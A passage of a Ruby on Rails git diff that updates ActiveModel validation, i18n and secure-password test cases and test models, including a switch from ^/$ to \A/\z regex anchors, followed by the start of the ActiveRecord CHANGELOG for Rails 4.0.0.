+    xml = @contact.to_xml :dasherize => false, :include => { :address => { :dasherize => true } }, :indent => 0
+    assert_match %r{<address>}, xml
+    assert_match %r{<apt-number type="integer">}, xml
+  end
 end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
index 1b1d972d5c..fd833cdd06 100644
--- a/activemodel/test/cases/translation_test.rb
+++ b/activemodel/test/cases/translation_test.rb
@@ -56,6 +56,21 @@ class ActiveModelI18nTests < ActiveModel::TestCase
     assert_equal 'person gender attribute', Person::Gender.human_attribute_name('attribute')
   end
 
+  def test_translated_deeply_nested_model_attributes
+    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/contacts/addresses" => {:street => 'Deeply Nested Address Street'}}}
+    assert_equal 'Deeply Nested Address Street', Person.human_attribute_name('contacts.addresses.street')
+  end
+
+  def test_translated_nested_model_attributes
+    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:"person/addresses" => {:street => 'Person Address Street'}}}
+    assert_equal 'Person Address Street', Person.human_attribute_name('addresses.street')
+  end
+
+  def test_translated_nested_model_attributes_with_namespace_fallback
+    I18n.backend.store_translations 'en', :activemodel => {:attributes => {:addresses => {:street => 'Cool Address Street'}}}
+    assert_equal 'Cool Address Street', Person.human_attribute_name('addresses.street')
+  end
+
   def test_translated_model_names
     I18n.backend.store_translations 'en', :activemodel => {:models => {:person => 'person model'} }
     assert_equal 'person model', Person.model_name.human
@@ -72,9 +87,15 @@ class ActiveModelI18nTests < ActiveModel::TestCase
   end
 
   def test_human_does_not_modify_options
-    options = {:default => 'person model'}
+    options = { :default => 'person model' }
     Person.model_name.human(options)
-    assert_equal({:default => 'person model'}, options)
+    assert_equal({ :default => 'person model' }, options)
+  end
+
+  def test_human_attribute_name_does_not_modify_options
+    options = { :default => 'Cool gender' }
+    Person.human_attribute_name('gender', options)
+    assert_equal({ :default => 'Cool gender' }, options)
   end
 end
 
diff --git a/activemodel/test/cases/validations/callbacks_test.rb b/activemodel/test/cases/validations/callbacks_test.rb
index 1cf09758f9..0015b3c196 100644
--- a/activemodel/test/cases/validations/callbacks_test.rb
+++ b/activemodel/test/cases/validations/callbacks_test.rb
@@ -5,11 +5,10 @@ class Dog
   include ActiveModel::Validations
   include ActiveModel::Validations::Callbacks
 
-  attr_accessor :name
-  attr_writer   :history
+  attr_accessor :name, :history
 
-  def history
-    @history ||= []
+  def initialize
+    @history = []
   end
 end
 
@@ -21,7 +20,7 @@ class DogWithMethodCallbacks < Dog
   def set_after_validation_marker;  self.history << 'after_validation_marker' ; end
 end
 
-class DogValidtorsAreProc < Dog
+class DogValidatorsAreProc < Dog
   before_validation { self.history << 'before_validation_marker' }
   after_validation  { self.history << 'after_validation_marker' }
 end
@@ -50,7 +49,7 @@ class CallbacksWithMethodNamesShouldBeCalled < ActiveModel::TestCase
   end
 
   def test_before_validation_and_after_validation_callbacks_should_be_called_with_proc
-    d = DogValidtorsAreProc.new
+    d = DogValidatorsAreProc.new
     d.valid?
     assert_equal ['before_validation_marker', 'after_validation_marker'], d.history
   end
diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb
index d0418170fa..f7556a249f 100644
--- a/activemodel/test/cases/validations/confirmation_validation_test.rb
+++ b/activemodel/test/cases/validations/confirmation_validation_test.rb
@@ -44,7 +44,7 @@ class ConfirmationValidationTest < ActiveModel::TestCase
     p.karma_confirmation = "None"
     assert p.invalid?
 
-    assert_equal ["doesn't match confirmation"], p.errors[:karma]
+    assert_equal ["doesn't match Karma"], p.errors[:karma_confirmation]
 
     p.karma = "None"
     assert p.valid?
@@ -52,4 +52,23 @@ class ConfirmationValidationTest < ActiveModel::TestCase
     Person.reset_callbacks(:validate)
   end
 
+  def test_title_confirmation_with_i18n_attribute
+    @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations('en', {
+      :errors => {:messages => {:confirmation => "doesn't match %{attribute}"}},
+      :activemodel => {:attributes => {:topic => {:title => 'Test Title'}}}
+    })
+
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.new("title" => "We should be confirmed","title_confirmation" => "")
+    assert t.invalid?
+    assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+  end
+
 end
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 72a383f128..baccf72ecb 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -28,6 +28,16 @@ class ExclusionValidationTest < ActiveModel::TestCase
     assert_equal ["option monkey is restricted"], t.errors[:title]
   end
 
+  def test_validates_exclusion_of_with_within_option
+    Topic.validates_exclusion_of( :title, :within => %w( abe monkey ) )
+
+    assert Topic.new("title" => "something", "content" => "abc")
+
+    t = Topic.new("title" => "monkey")
+    assert t.invalid?
+    assert t.errors[:title].any?
+  end
+
   def test_validates_exclusion_of_for_ruby_class
     Person.validates_exclusion_of :karma, :in => %w( abe monkey )
 
@@ -46,12 +56,12 @@ class ExclusionValidationTest < ActiveModel::TestCase
   def test_validates_exclusion_of_with_lambda
     Topic.validates_exclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
 
-    p = Topic.new
-    p.title = "elephant"
-    p.author_name = "sikachu"
-    assert p.invalid?
+    t = Topic.new
+    t.title = "elephant"
+    t.author_name = "sikachu"
+    assert t.invalid?
 
-    p.title = "wasabi"
-    assert p.valid?
+    t.title = "wasabi"
+    assert t.valid?
   end
 end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index 2ce714fef0..308a3c6cef 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -11,7 +11,7 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validate_format
-    Topic.validates_format_of(:title, :content, :with => /^Validation\smacros \w+!$/, :message => "is bad data")
+    Topic.validates_format_of(:title, :content, :with => /\AValidation\smacros \w+!\z/, :message => "is bad data")
 
     t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
     assert t.invalid?, "Shouldn't be valid"
@@ -27,7 +27,7 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validate_format_with_allow_blank
-    Topic.validates_format_of(:title, :with => /^Validation\smacros \w+!$/, :allow_blank => true)
+    Topic.validates_format_of(:title, :with => /\AValidation\smacros \w+!\z/, :allow_blank => true)
     assert Topic.new("title" => "Shouldn't be valid").invalid?
     assert Topic.new("title" => "").valid?
     assert Topic.new("title" => nil).valid?
@@ -36,7 +36,7 @@ class PresenceValidationTest < ActiveModel::TestCase
 
   # testing ticket #3142
   def test_validate_format_numeric
-    Topic.validates_format_of(:title, :content, :with => /^[1-9][0-9]*$/, :message => "is bad data")
+    Topic.validates_format_of(:title, :content, :with => /\A[1-9][0-9]*\z/, :message => "is bad data")
 
     t = Topic.new("title" => "72x", "content" => "6789")
     assert t.invalid?, "Shouldn't be valid"
@@ -63,11 +63,21 @@ class PresenceValidationTest < ActiveModel::TestCase
   end
 
   def test_validate_format_with_formatted_message
-    Topic.validates_format_of(:title, :with => /^Valid Title$/, :message => "can't be %{value}")
+    Topic.validates_format_of(:title, :with => /\AValid Title\z/, :message => "can't be %{value}")
     t = Topic.new(:title => 'Invalid title')
     assert t.invalid?
     assert_equal ["can't be Invalid title"], t.errors[:title]
   end
+  
+  def test_validate_format_of_with_multiline_regexp_should_raise_error
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :with => /^Valid Title$/) }
+  end
+  
+  def test_validate_format_of_with_multiline_regexp_and_option
+    assert_nothing_raised(ArgumentError) do
+      Topic.validates_format_of(:title, :with => /^Valid Title$/, :multiline => true)
+    end
+  end
 
   def test_validate_format_with_not_option
     Topic.validates_format_of(:title, :without => /foo/, :message => "should not contain foo")
@@ -101,25 +111,25 @@ class PresenceValidationTest < ActiveModel::TestCase
   def test_validates_format_of_with_lambda
     Topic.validates_format_of :content, :with => lambda{ |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
 
-    p = Topic.new
-    p.title = "digit"
-    p.content = "Pixies"
-    assert p.invalid?
+    t = Topic.new
+    t.title = "digit"
+    t.content = "Pixies"
+    assert t.invalid?
 
-    p.content = "1234"
-    assert p.valid?
+    t.content = "1234"
+    assert t.valid?
   end
 
   def test_validates_format_of_without_lambda
     Topic.validates_format_of :content, :without => lambda{ |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
 
-    p = Topic.new
-    p.title = "characters"
-    p.content = "1234"
-    assert p.invalid?
+    t = Topic.new
+    t.title = "characters"
+    t.content = "1234"
+    assert t.invalid?
 
-    p.content = "Pixies"
-    assert p.valid?
+    t.content = "Pixies"
+    assert t.valid?
   end
 
   def test_validates_format_of_for_ruby_class
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index 0679e67f84..df0fcd243a 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -37,7 +37,7 @@ class I18nGenerateMessageValidationTest < ActiveModel::TestCase
 
   # validates_confirmation_of: generate_message(attr_name, :confirmation, :message => custom_message)
   def test_generate_message_confirmation_with_default_message
-    assert_equal "doesn't match confirmation", @person.errors.generate_message(:title, :confirmation)
+    assert_equal "doesn't match Title", @person.errors.generate_message(:title, :confirmation)
   end
 
   def test_generate_message_confirmation_with_custom_message
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index e9f0e430fe..4f8b7327c0 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -81,7 +81,7 @@ class I18nValidationTest < ActiveModel::TestCase
     test "validates_confirmation_of on generated message #{name}" do
       Person.validates_confirmation_of :title, validation_options
       @person.title_confirmation = 'foo'
-      @person.errors.expects(:generate_message).with(:title, :confirmation, generate_message_options)
+      @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(:attribute => 'Title'))
       @person.valid?
     end
   end
@@ -141,7 +141,7 @@ class I18nValidationTest < ActiveModel::TestCase
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_format_of on generated message #{name}" do
-      Person.validates_format_of :title, validation_options.merge(:with => /^[1-9][0-9]*$/)
+      Person.validates_format_of :title, validation_options.merge(:with => /\A[1-9][0-9]*\z/)
       @person.title = '72x'
       @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(:value => '72x'))
       @person.valid?
@@ -159,6 +159,17 @@ class I18nValidationTest < ActiveModel::TestCase
     end
   end
 
+  # validates_inclusion_of using :within w/ mocha
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_inclusion_of using :within on generated message #{name}" do
+      Person.validates_inclusion_of :title, validation_options.merge(:within => %w(a b c))
+      @person.title = 'z'
+      @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+      @person.valid?
+    end
+  end
+
   # validates_exclusion_of w/ mocha
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
@@ -170,6 +181,17 @@ class I18nValidationTest < ActiveModel::TestCase
     end
   end
 
+  # validates_exclusion_of using :within w/ mocha
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_exclusion_of using :within generated message #{name}" do
+      Person.validates_exclusion_of :title, validation_options.merge(:within => %w(a b c))
+      @person.title = 'a'
+      @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+      @person.valid?
+    end
+  end
+
   # validates_numericality_of without :only_integer w/ mocha
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
@@ -217,24 +239,29 @@ class I18nValidationTest < ActiveModel::TestCase
 
   # To make things DRY this macro is defined to define 3 tests for every validation case.
   def self.set_expectations_for_validation(validation, error_type, &block_that_sets_validation)
+    if error_type == :confirmation
+      attribute = :title_confirmation
+    else
+      attribute = :title
+    end
     # test "validates_confirmation_of finds custom model key translation when blank"
     test "#{validation} finds custom model key translation when #{error_type}" do
-      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {:title => {error_type => 'custom message'}}}}}}
+      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message'}}}}}}
       I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
 
       yield(@person, {})
       @person.valid?
-      assert_equal ['custom message'], @person.errors[:title]
+      assert_equal ['custom message'], @person.errors[attribute]
     end
 
     # test "validates_confirmation_of finds custom model key translation with interpolation when blank"
     test "#{validation} finds custom model key translation with interpolation when #{error_type}" do
-      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {:title => {error_type => 'custom message with %{extra}'}}}}}}
+      I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message with %{extra}'}}}}}}
       I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
 
       yield(@person, {:extra => "extra information"})
       @person.valid?
-      assert_equal ['custom message with extra information'], @person.errors[:title]
+      assert_equal ['custom message with extra information'], @person.errors[attribute]
     end
 
     # test "validates_confirmation_of finds global default key translation when blank"
@@ -243,7 +270,7 @@ class I18nValidationTest < ActiveModel::TestCase
 
       yield(@person, {})
       @person.valid?
-      assert_equal ['global message'], @person.errors[:title]
+      assert_equal ['global message'], @person.errors[attribute]
     end
   end
 
@@ -286,7 +313,7 @@ class I18nValidationTest < ActiveModel::TestCase
   # validates_format_of w/o mocha
 
   set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
-    Person.validates_format_of :title, options_to_merge.merge(:with => /^[1-9][0-9]*$/)
+    Person.validates_format_of :title, options_to_merge.merge(:with => /\A[1-9][0-9]*\z/)
   end
 
   # validates_inclusion_of w/o mocha
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 413da92de4..c57fa75faf 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -60,6 +60,16 @@ class InclusionValidationTest < ActiveModel::TestCase
     assert_equal ["option uhoh is not in the list"], t.errors[:title]
   end
 
+  def test_validates_inclusion_of_with_within_option
+    Topic.validates_inclusion_of( :title, :within => %w( a b c d e f g ) )
+
+    assert Topic.new("title" => "a", "content" => "abc").valid?
+
+    t = Topic.new("title" => "uhoh", "content" => "abc")
+    assert t.invalid?
+    assert t.errors[:title].any?
+  end
+
   def test_validates_inclusion_of_for_ruby_class
     Person.validates_inclusion_of :karma, :in => %w( abe monkey )
 
@@ -78,12 +88,12 @@ class InclusionValidationTest < ActiveModel::TestCase
   def test_validates_inclusion_of_with_lambda
     Topic.validates_inclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
 
-    p = Topic.new
-    p.title = "wasabi"
-    p.author_name = "sikachu"
-    assert p.invalid?
+    t = Topic.new
+    t.title = "wasabi"
+    t.author_name = "sikachu"
+    assert t.invalid?
 
-    p.title = "elephant"
-    assert p.valid?
+    t.title = "elephant"
+    assert t.valid?
   end
 end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 44048a9c1d..113bfd6337 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -260,74 +260,64 @@ class LengthValidationTest < ActiveModel::TestCase
   end
 
   def test_validates_length_of_using_minimum_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :minimum => 5
+    Topic.validates_length_of :title, :minimum => 5
 
-      t = Topic.new("title" => "一二三四五", "content" => "whatever")
-      assert t.valid?
+    t = Topic.new("title" => "一二三四五", "content" => "whatever")
+    assert t.valid?
 
-      t.title = "一二三四"
-      assert t.invalid?
-      assert t.errors[:title].any?
-      assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
-    end
+    t.title = "一二三四"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
   end
 
   def test_validates_length_of_using_maximum_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :maximum => 5
+    Topic.validates_length_of :title, :maximum => 5
 
-      t = Topic.new("title" => "一二三四五", "content" => "whatever")
-      assert t.valid?
+    t = Topic.new("title" => "一二三四五", "content" => "whatever")
+    assert t.valid?
 
-      t.title = "一二34五六"
-      assert t.invalid?
-      assert t.errors[:title].any?
-      assert_equal ["is too long (maximum is 5 characters)"], t.errors["title"]
-    end
+    t.title = "一二34五六"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors["title"]
   end
 
   def test_validates_length_of_using_within_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of(:title, :content, :within => 3..5)
-
-      t = Topic.new("title" => "一二", "content" => "12三四五六七")
-      assert t.invalid?
-      assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
-      assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
-      t.title = "一二三"
-      t.content  = "12三"
-      assert t.valid?
-    end
+    Topic.validates_length_of(:title, :content, :within => 3..5)
+
+    t = Topic.new("title" => "一二", "content" => "12三四五六七")
+    assert t.invalid?
+    assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
+    t.title = "一二三"
+    t.content  = "12三"
+    assert t.valid?
   end
 
   def test_optionally_validates_length_of_using_within_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :within => 3..5, :allow_nil => true
+    Topic.validates_length_of :title, :within => 3..5, :allow_nil => true
 
-      t = Topic.new(:title => "一二三四五")
-      assert t.valid?, t.errors.inspect
+    t = Topic.new(:title => "一二三四五")
+    assert t.valid?, t.errors.inspect
 
-      t = Topic.new(:title => "一二三")
-      assert t.valid?, t.errors.inspect
+    t = Topic.new(:title => "一二三")
+    assert t.valid?, t.errors.inspect
 
-      t.title = nil
-      assert t.valid?, t.errors.inspect
-    end
+    t.title = nil
+    assert t.valid?, t.errors.inspect
   end
 
   def test_validates_length_of_using_is_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :is => 5
+    Topic.validates_length_of :title, :is => 5
 
-      t = Topic.new("title" => "一二345", "content" => "whatever")
-      assert t.valid?
+    t = Topic.new("title" => "一二345", "content" => "whatever")
+    assert t.valid?
 
-      t.title = "一二345六"
-      assert t.invalid?
-      assert t.errors[:title].any?
-      assert_equal ["is the wrong length (should be 5 characters)"], t.errors["title"]
-    end
+    t.title = "一二345六"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is the wrong length (should be 5 characters)"], t.errors["title"]
   end
 
   def test_validates_length_of_with_block
@@ -367,4 +357,22 @@ class LengthValidationTest < ActiveModel::TestCase
   ensure
     Person.reset_callbacks(:validate)
   end
+
+  def test_validates_length_of_for_infinite_maxima
+    Topic.validates_length_of(:title, :within => 5..Float::INFINITY)
+
+    t = Topic.new("title" => "1234")
+    assert t.invalid?
+    assert t.errors[:title].any?
+
+    t.title = "12345"
+    assert t.valid?
+
+    Topic.validates_length_of(:author_name, :maximum => Float::INFINITY)
+
+    assert t.valid?
+
+    t.author_name = "A very long author name that should still be valid." * 100
+    assert t.valid?
+  end
 end
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index 08f6169ca5..6742a4bab0 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -106,6 +106,13 @@ class NumericalityValidationTest < ActiveModel::TestCase
     valid!([2])
   end
 
+  def test_validates_numericality_with_other_than
+    Topic.validates_numericality_of :approved, :other_than => 0
+
+    invalid!([0, 0.0])
+    valid!([-1, 42])
+  end
+
   def test_validates_numericality_with_proc
     Topic.send(:define_method, :min_approved, lambda { 5 })
     Topic.validates_numericality_of :approved, :greater_than_or_equal_to => Proc.new {|topic| topic.min_approved }
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index 779f6c8448..90bc018ae1 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -16,6 +16,12 @@ class ValidatesTest < ActiveModel::TestCase
     PersonWithValidator.reset_callbacks(:validate)
   end
 
+  def test_validates_with_messages_empty
+    Person.validates :title, :presence => {:message => "" }
+    person = Person.new
+    assert !person.valid?, 'person should not be valid.'
+  end
+
   def test_validates_with_built_in_validation
     Person.validates :title, :numericality => true
     person = Person.new
@@ -148,6 +154,6 @@ class ValidatesTest < ActiveModel::TestCase
     topic.title = "What's happening"
     topic.title_confirmation = "Not this"
     assert !topic.valid?
-    assert_equal ['Y U NO CONFIRM'], topic.errors[:title]
+    assert_equal ['Y U NO CONFIRM'], topic.errors[:title_confirmation]
   end
 end
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 2f4376bd41..a9d32808da 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -11,6 +11,8 @@ require 'active_support/xml_mini'
 
 class ValidationsTest < ActiveModel::TestCase
 
+  class CustomStrictValidationException < StandardError; end
+
   def setup
     Topic._validators.clear
   end
@@ -58,8 +60,7 @@ class ValidationsTest < ActiveModel::TestCase
     r = Reply.new
     r.valid?
 
-    errors = []
-    r.errors.each {|attr, messages| errors << [attr.to_s, messages] }
+    errors = r.errors.collect {|attr, messages| [attr.to_s, messages]}
 
     assert errors.include?(["title", "is Empty"])
     assert errors.include?(["content", "is Empty"])
@@ -181,7 +182,7 @@ class ValidationsTest < ActiveModel::TestCase
     assert_match %r{<error>Title can't be blank</error>}, xml
     assert_match %r{<error>Content can't be blank</error>}, xml
 
-    hash = ActiveSupport::OrderedHash.new
+    hash = {}
     hash[:title] = ["can't be blank"]
     hash[:content] = ["can't be blank"]
     assert_equal t.errors.to_json, hash.to_json
@@ -311,7 +312,7 @@ class ValidationsTest < ActiveModel::TestCase
   end
 
   def test_strict_validation_particular_validator
-    Topic.validates :title,  :presence => {:strict => true}
+    Topic.validates :title,  :presence => { :strict => true }
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
@@ -324,10 +325,52 @@ class ValidationsTest < ActiveModel::TestCase
     end
   end
 
+  def test_strict_validation_custom_exception
+    Topic.validates_presence_of :title, :strict => CustomStrictValidationException
+    assert_raises CustomStrictValidationException do
+      Topic.new.valid?
+    end
+  end
+
   def test_validates_with_bang
     Topic.validates! :title,  :presence => true
     assert_raises ActiveModel::StrictValidationFailed do
       Topic.new.valid?
     end
   end
+
+  def test_validates_with_false_hash_value
+    Topic.validates :title,  :presence => false
+    assert Topic.new.valid?
+  end
+
+  def test_strict_validation_error_message
+    Topic.validates :title, :strict => true, :presence => true
+
+    exception = assert_raises(ActiveModel::StrictValidationFailed) do
+      Topic.new.valid?
+    end
+    assert_equal "Title can't be blank", exception.message
+  end
+
+  def test_does_not_modify_options_argument
+    options = { :presence => true }
+    Topic.validates :title, options
+    assert_equal({ :presence => true }, options)
+  end
+
+  def test_dup_validity_is_independent
+    Topic.validates_presence_of :title
+    topic = Topic.new("title" => "Litterature")
+    topic.valid?
+
+    duped = topic.dup
+    duped.title = nil
+    assert duped.invalid?
+
+    topic.title = nil
+    duped.title = 'Mathematics'
+    assert topic.invalid?
+    assert duped.valid?
+  end
 end
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
index a48f8b064f..2d6d34b3e2 100644
--- a/activemodel/test/models/administrator.rb
+++ b/activemodel/test/models/administrator.rb
@@ -1,7 +1,10 @@
 class Administrator
+  extend ActiveModel::Callbacks
   include ActiveModel::Validations
   include ActiveModel::SecurePassword
   include ActiveModel::MassAssignmentSecurity
+  
+  define_model_callbacks :create
 
   attr_accessor :name, :password_digest
   attr_accessible :name
diff --git a/activemodel/test/models/blog_post.rb b/activemodel/test/models/blog_post.rb
index d289177259..46eba857df 100644
--- a/activemodel/test/models/blog_post.rb
+++ b/activemodel/test/models/blog_post.rb
@@ -1,10 +1,6 @@
 module Blog
-  def self._railtie
-    Object.new
-  end
-
-  def self.table_name_prefix
-    "blog_"
+  def self.use_relative_model_naming?
+    true
   end
 
   class Post
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
new file mode 100644
index 0000000000..9750bc19d4
--- /dev/null
+++ b/activemodel/test/models/oauthed_user.rb
@@ -0,0 +1,11 @@
+class OauthedUser
+  extend ActiveModel::Callbacks
+  include ActiveModel::Validations
+  include ActiveModel::SecurePassword
+  
+  define_model_callbacks :create
+
+  has_secure_password(validations: false)
+
+  attr_accessor :password_digest, :password_salt
+end
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index e221bb8091..4b11df12bf 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -1,6 +1,9 @@
 class User
+  extend ActiveModel::Callbacks
   include ActiveModel::Validations
   include ActiveModel::SecurePassword
+  
+  define_model_callbacks :create
 
   has_secure_password
 
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
index 36c0a16688..d15f448516 100644
--- a/activemodel/test/models/visitor.rb
+++ b/activemodel/test/models/visitor.rb
@@ -1,9 +1,12 @@
 class Visitor
+  extend ActiveModel::Callbacks
   include ActiveModel::Validations
   include ActiveModel::SecurePassword
   include ActiveModel::MassAssignmentSecurity
+  
+  define_model_callbacks :create
 
-  has_secure_password
+  has_secure_password(validations: false)
 
-  attr_accessor :password_digest
+  attr_accessor :password_digest, :password_confirmation
 end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index a79f4df570..c5ef39b9d2 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,4 +1,867 @@
-## Rails 3.2.0 (unreleased) ##
+## Rails 4.0.0 (unreleased) ##
+
+*   Fix `reset_counters` when there are multiple `belongs_to` association with the
+    same foreign key and one of them have a counter cache.
+    Fixes #5200.
+
+    *Dave Desrochers*
+
+*   `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
+
+    *kennyj*
+
+*   Round usec when comparing timestamp attributes in the dirty tracking.
+    Fixes #6975.
+
+    *kennyj*
+
+*   Use inversed parent for first and last child of has_many association.
+
+    *Ravil Bayramgalin*
+
+*   Fix Column.microseconds and Column.fast_string_to_date to avoid converting
+    timestamp seconds to a float, since it occasionally results in inaccuracies
+    with microsecond-precision times. Fixes #7352.
+
+    *Ari Pollak*
+
+*   Raise `ArgumentError` if list of attributes to change is empty in `update_all`.
+
+    *Roman Shatsov*
+
+*   Fix AR#create to return an unsaved record when AR::RecordInvalid is
+    raised. Fixes #3217.
+
+    *Dave Yeu*
+
+*   Fixed table name prefix that is generated in engines for namespaced models
+    *Wojciech Wnętrzak*
+
+*   Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`
+    Fixes #4772.
+
+    *Seamus Abshere*
+
+*   Allow Relation#merge to take a proc.
+
+    This was requested by DHH to allow creating of one's own custom
+    association macros.
+
+    For example:
+
+        module Commentable
+          def has_many_comments(extra)
+            has_many :comments, -> { where(:foo).merge(extra) }
+          end
+        end
+
+        class Post < ActiveRecord::Base
+          extend Commentable
+          has_many_comments -> { where(:bar) }
+        end
+
+    *Jon Leighton*
+
+*   Add CollectionProxy#scope
+
+    This can be used to get a Relation from an association.
+
+    Previously we had a #scoped method, but we're deprecating that for
+    AR::Base, so it doesn't make sense to have it here.
+
+    This was requested by DHH, to facilitate code like this:
+
+        Project.scope.order('created_at DESC').page(current_page).tagged_with(@tag).limit(5).scoping do
+          @topics      = @project.topics.scope
+          @todolists   = @project.todolists.scope
+          @attachments = @project.attachments.scope
+          @documents   = @project.documents.scope
+        end
+
+    *Jon Leighton*
+
+*   Add `Relation#load`
+
+    This method explicitly loads the records and then returns `self`.
+
+    Rather than deciding between "do I want an array or a relation?",
+    most people are actually asking themselves "do I want to eager load
+    or lazy load?" Therefore, this method provides a way to explicitly
+    eager-load without having to switch from a `Relation` to an array.
+
+    Example:
+
+        @posts = Post.where(published: true).load
+
+    *Jon Leighton*
+
+*   `Model.all` now returns an `ActiveRecord::Relation`, rather than an
+    array of records. Use ``Relation#to_a` if you really want an array.
+
+    In some specific cases, this may cause breakage when upgrading.
+    However in most cases the `ActiveRecord::Relation` will just act as a
+    lazy-loaded array and there will be no problems.
+
+    Note that calling `Model.all` with options (e.g.
+    `Model.all(conditions: '...')` was already deprecated, but it will
+    still return an array in order to make the transition easier.
+
+    `Model.scoped` is deprecated in favour of `Model.all`.
+
+    `Relation#all` still returns an array, but is deprecated (since it
+    would serve no purpose if we made it return a `Relation`).
+
+    *Jon Leighton*
+
+*   `:finder_sql` and `:counter_sql` options on collection associations
+    are deprecated. Please transition to using scopes.
+
+    *Jon Leighton*
+
+*   `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
